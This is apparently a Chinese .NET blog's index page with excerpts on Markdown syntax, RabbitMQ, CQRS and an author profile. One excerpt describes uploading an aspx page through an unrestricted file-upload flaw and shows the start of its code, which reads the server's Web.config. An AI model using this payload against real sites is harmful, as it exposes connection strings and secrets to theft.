C#与.NET技术
实践与教程

专注分享C#、ASP.NET Core、Azure、Blazor等微软技术栈的开发教程、架构设计和最佳实践

85
技术文章
42
教程系列
2.8k
月访问量
328
活跃读者
MarkDown基本语法以及相关工具笔记简单介绍
2017-03-11 0k

MarkDown基本语法以及相关工具笔记简单介绍

1、标题 部分工具可能只支持到三级标题 示例: # 这是一级标题 ## 这是二级标题 ### 这是三级标题 #### 这是四级标题 ##### 这是五级标题 ###### 这是六级标题 效果: 这是一级标题 这是二级标题 这是三级标题 这是四级标题 这是五级标题 这是六级标题 2、引用内容 示例: > 这是引用的内容 > > 换行请按`空格+空格+Enter` > > > > > 这是引用的内容 效果: 这是引用的内容 换行请按空格+空格+Enter 这是引用的内容 3、超级链接 title 是鼠标放到上面显示的内容,可不填 示例: [raikay博客1](http://blog.raikay.cn "title") [raikay博客2](http://blog.raikay.cn) 效果: raikay博客1 raikay博客2 4、插入图片 示例: ![image](https://blogimg.raikay.cn/332819317882228736.png) 效果: 5、行间代码 示例: 这是行间代码`This is inline code` 效果:

markdown 语法教程 文档工具
阅读更多
如何用好消息队列RabbitMQ?
2017-03-11 0k

如何用好消息队列RabbitMQ?

一、RabbitMQ 简介 RabbitMQ 是基于 AMQP 实现的一个开源消息组件,主要用于在分布式系统中存储转发消息,由因高性能、高可用以及高扩展而出名的 Erlang 语言写成。 其中,AMQP(Advanced Message Queuing Protocol,即高级消息队列协议),是一个异步消息传递所使用的应用层协议规范,为面向消息的中间件设计。 二、为什么要用消息队列 MQ 1、业务系统往往要求响应能力特别强,能够起到削峰填谷的作用。 2、解耦:如果一个系统挂了,则不会影响另外个系统的继续运行。 3、业务系统往往有对消息的高可靠要求,以及有对复杂功能如 Ack 的要求。 4、增强业务系统的异步处理能力,减少甚至几乎不可能出现并发现象: 使用消息队列,就好比为了防汛而建葛洲坝,有大量数据的堆积能力,然后可靠地进行异步输出。例如: 传统做法存在如下问题,请见上图: 1、一旦业务处理时间超过了定时器时间间隔,就会导致漏单。 2、如果采用新开线程的方式获取数据,那么由于大量新开线程处理,会容易造成服务器宕机。 3、数据库压力大,易并发。 使用 MQ 后的好处,请见上图: 1、业务可注册、可配置。 2、获取数据规则可配置。 3、成功消费 MQ 中的消息才会被 Ack,提高可靠性。 4、大大增强了异步处理业务作业的能力: 定时从数据库获取数据后,存入 MQ 消息队列,然后 Job 会定期扫描 MQ 消息队列,假设 Job 扫描后先预取 5 条消息,然后异步处理这 5 条消息,也就是说这 5 条消息可能会同时被处理。

数据库
阅读更多
程序员除了会 CRUD 之外,还应该知道什么叫 CQRS!
2017-03-11 0k

程序员除了会 CRUD 之外,还应该知道什么叫 CQRS!

今天主要跟大家分享一下什么是 CQRS,以及在项目中如何去使用。 1、先了解什么是CRUD系统 我们平常最熟悉的就是三层架构,通常都是通过数据访问层来修改或者查询数据,一般修改和查询使用的是相同的实体。然后通过业务层来处理业务逻辑,将处理结果封装成DTO对象返回给控制层,再通过前端渲染。反之亦然。 这里基本上是围绕关系数据库构建而成的“创建、读取、更新、删除”系统(即CRUD系统),此类系统在一些业务逻辑简单的项目中可能没有什么问题,但是随着系统逻辑变得复杂,用户增多,这种设计就会出现一些性能问题。 我们经常用到的解决方案就是对数据库进行读写分离。让主数据库处理事务性的增、删、改操作,让从数据库处理查询操作,然后主从数据库之间进行同步。但是这只是从DB角度处理了读写分离,从业务或者系统层面上来说,读和写的逻辑仍然是存放在一起的,他们都是操作同一个实体对象。 这时候,CQRS 就该登场了。 2、什么是CQRS系统 简单的说,CQRS(Command Query Responsibility Segration)就是一个系统,从架构上把 CRUD 系统拆分为两部分:命令(Command)处理和查询(Query)处理。其中命令处理包括增、删、改。 然后命令与查询两边可以用不同的架构实现,以实现CQ两端(即Command Side,简称C端;Query Side,简称Q端)的分别优化。两边所涉及到的实体对象也可以不同,从而继续演变成下面这样。 当然了,CQRS 作为一个读写分离思想的架构,在数据存储方面也没有做过多的约束。所以 CQRS可以有不同层次的实现。 3、CQRS 实现方式 CQRS 可以有两种实现方式。 1)CQ 两端数据库共享,只是在上层代码上分离。这样做的好处是可以让我们的代码读写分离,更容易维护,而且不存在 CQ 两端的数据一致性问题,因为是共享一个数据库的。这种架构是非常实用的(也就是我上面画的那种)。 2)CQ 两端不仅代码分离,数据库也分离,然后Q端数据由C端同步过来。同步方式有两种:同步或异步,如果需要 CQ 两端的强一致性,则需要用同步;如果能接受 CQ 两端数据的最终一致性,则可以使用异步。C端可以采用Event Sourcing(简称ES)模式,所有C端的最新数据全部用 Domain Event 表达即可;而要查询显示用的数据,则从Q端的 ReadDB(关系型数据库)查询即可。 4、CQRS 的简单实现 说了这么多,该怎么实现呢?我们以上面提到的第一种方式为例:代码层面实现分离,数据库共享。这种方式在企业里也非常实用。 首先有几个概念需要介绍一下,CQRS 模式中,首先需要有 Command,这个 Command 命令会对应一个实体和一个命令的执行类。那整个系统中肯定有很多不同的 Command,那么还需要一个 CommandBus 来做命令的分发处理。 可能大家觉得比较抽象,我来写几行示例代码,一看就明白了。假设有个订单模块,我要新增一个订单信息。那么根据上文的分析,需要有个新增命令以及对应的订单实体(并不一定和数据库的订单实体完全对应)。首先先创建一个命令接口(绑定命令对应的实体),接口内部有个该命令的处理方法。 public interface Command<T> { Object execute(T commandModel); } interface Command<T> { Object execute(T commandModel); } OK,接下来我们可以创建订单的新增命令了。

dotnet CQRS 架构设计
阅读更多
通过一个一般处理程序(aspx文件)直接获取服务器web.config文件
2017-03-11 0k

通过一个一般处理程序(aspx文件)直接获取服务器web.config文件

如果某个网站文件、图片上传直接存储到网站目录下,而且没限制文件格式,可上传一个aspx文件,然后直接执行 <%@ Page Language="C#" ContentType="text/html" ResponseEncoding="gb2312" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.IO"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>用户注册</title> <script language="javascript"> </script> <script language="c#" runat="server"> string result=""; //服务器上执行的方法 public void Page_Load(Object sender,EventArgs e) { using (FileStream fs = new FileStream(Server.MapPath("/")+"Web.config", FileMode.Open, FileAccess.Read)) { byte[] buffer = new byte[fs.Length]; fs.Read(buffer, 0, buffer.Length); string msg = System.Text.Encoding.UTF8.GetString(buffer); //Response.Write(msg); string timeNow = DateTime.

dotnet aspx web.config
阅读更多
关于我
2013-11-06 0k

关于我

关于我 个人简介 你好!我是一名热爱技术的.NET开发者,拥有5年的软件开发经验。我专注于ASP.NET Core、C#和云原生应用开发,热衷于分享技术知识和最佳实践。 技术栈 后端开发: C#, ASP.NET Core, Web API 数据库: MySQL, SQL Server, Entity Framework Core, Redis 前端技术: HTML5, CSS3, JavaScript, Vue.js 云服务: Docker, Kubernetes 开发工具: Visual Studio, Git 兴趣爱好 阅读技术书籍和博客 参与开源项目贡献 学习新技术和框架 健身、骑行和摄影 联系方式 邮箱: raikay@163.com GitHub: https://github.com/raikay 微信: raikay888 感谢访问我的博客!如果你有任何问题或合作意向,请随时与我联系。